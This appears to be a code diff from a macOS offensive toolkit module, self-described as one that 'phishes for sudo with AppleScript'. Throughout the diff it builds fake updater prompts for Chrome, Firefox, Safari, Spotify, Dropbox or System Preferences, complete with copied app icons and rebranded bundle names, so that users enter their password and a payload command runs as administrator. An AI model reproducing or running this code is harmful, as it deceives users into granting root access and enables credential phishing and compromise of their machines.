11"""phishes for sudo with AppleScript"""
2- from .general import DEFAULT_COMMAND , default_browser , osascript , random_string
2+ import os
3+ import plistlib
4+
5+ from .general import (DEFAULT_COMMAND , app_installed , default_browser ,
6+ osascript , random_string )
37
48try :
59 input = raw_input
1014__credits__ = "thehappydinoa"
1115
1216BROWSERS = {
13- "com.google.chrome" : "Google Chrome Updater" ,
14- "org.mozilla.firefox" : "Firefox Updater" ,
15- "com.apple.safari" : "Safari Update"
17+ "com.google.chrome" : ("Google Chrome.app" , "/Contents/Resources/app.icns" , "Google Chrome Updater" ),
18+ "org.mozilla.firefox" : ("Firefox.app" , "/Contents/Resources/firefox.icns" , "Firefox Updater" ),
19+ "com.apple.safari" : ("Safari.app" , "/Contents/Resources/compass.icns" , "Safari Update" )
20+ }
21+
22+ APPS = {
23+ "Spotify.app" : ("/Contents/Resources/Icon.icns" , "Spotify Updater" ),
24+ "Dropbox.app" : ("/Contents/Resources/icon.icns" , "DropboxMacUpdate" )
1625}
1726
1827
19- def admin_prompt (app = None , prompt = "System Update" , command = "echo hello" ):
28+ def admin_prompt (app = None , icon_path = None , prompt = "System Update" , command = "echo hello" ):
2029 """prompts with administrator privileges"""
2130 rand = random_string ()
31+ print ("\n Prompting: " + prompt )
2232 if app :
23- payload = """osascript <<END
24- set command to "{command}; echo {success}"
25- tell app "{app}" to activate
26- return tell app "{app}" to do shell script command with prompt "{prompt}" with administrator privileges
27- END""" .format (app = app , prompt = prompt , command = command , success = rand )
33+ if icon_path :
34+ app_path = "Prompt.app"
35+ zip_path = "Prompt.app.zip"
36+ if not os .path .exists (app_path ) and os .path .exists (zip_path ):
37+ os .system ("unzip " + zip_path )
38+ if os .path .exists ("/Applications/" + app ):
39+ full_app_path = "/Applications/" + app
40+ else :
41+ full_app_path = "~/Applications/" + app
42+ plist = app_path + "/Contents/Info.plist"
43+ info = plistlib .readPlist (plist )
44+ info ["CFBundleName" ] = prompt
45+ info ["CFBundleIdentifier" ] = "com.apple.ScriptEditor.id." + \
46+ prompt .replace (" " , "" )
47+ plistlib .writePlist (info , plist )
48+ print (os .system (
49+ "cp \" {icon_path}\" \" {app_path}/Contents/Resources/applet.icns\" ; touch {app_path};" .format (icon_path = full_app_path + icon_path , app_path = app_path )))
50+ payload = """open {app_path} --args "{command}; echo {success}" "{prompt}" """ .format (
51+ app_path = app_path , prompt = prompt , command = command .replace ('"' , '\" ' ), success = rand )
52+ # print(payload) # Debugging
53+ os .system (payload )
54+ print ("Application Launched..." )
55+ return True
56+ else :
57+ payload = """osascript <<END
58+ set command to "{command}; echo {success}"
59+ tell app "{app}" to activate
60+ return do shell script command with prompt "{prompt}" with administrator privileges
61+ END""" .format (app = app , prompt = prompt , command = command , success = rand )
62+ # return tell app "{app}" to do shell script command with prompt "{prompt}" with administrator privileges
2863 else :
2964 payload = """osascript <<END
3065 set command to "{command}; echo {success}"
3166 return do shell script command with prompt "{prompt}" with administrator privileges
3267 END""" .format (prompt = prompt , command = command , success = rand )
33- print ("\n Prompting: " + prompt )
3468 response = osascript (payload )
3569 return rand in response
3670
@@ -44,5 +78,10 @@ def run():
4478 """runs exploit"""
4579 browser = default_browser ()
4680 if browser and browser in BROWSERS .keys ():
47- return admin_prompt (prompt = BROWSERS .get (browser ), command = DEFAULT_COMMAND )
48- return admin_prompt (command = DEFAULT_COMMAND )
81+ browser_data = BROWSERS .get (browser )
82+ return admin_prompt (app = browser_data [0 ], icon_path = browser_data [1 ], prompt = browser_data [2 ], command = DEFAULT_COMMAND )
83+ for app in APPS .keys ():
84+ if app_installed (app ):
85+ app_info = APPS .get (app )
86+ return admin_prompt (app = app , icon_path = app_info [0 ], prompt = app_info [1 ], command = DEFAULT_COMMAND )
87+ return admin_prompt (app = "System Preferences.app" , icon_path = "/Contents/Resources/PrefApp.icns" , prompt = "System Update" , command = DEFAULT_COMMAND )
0 commit comments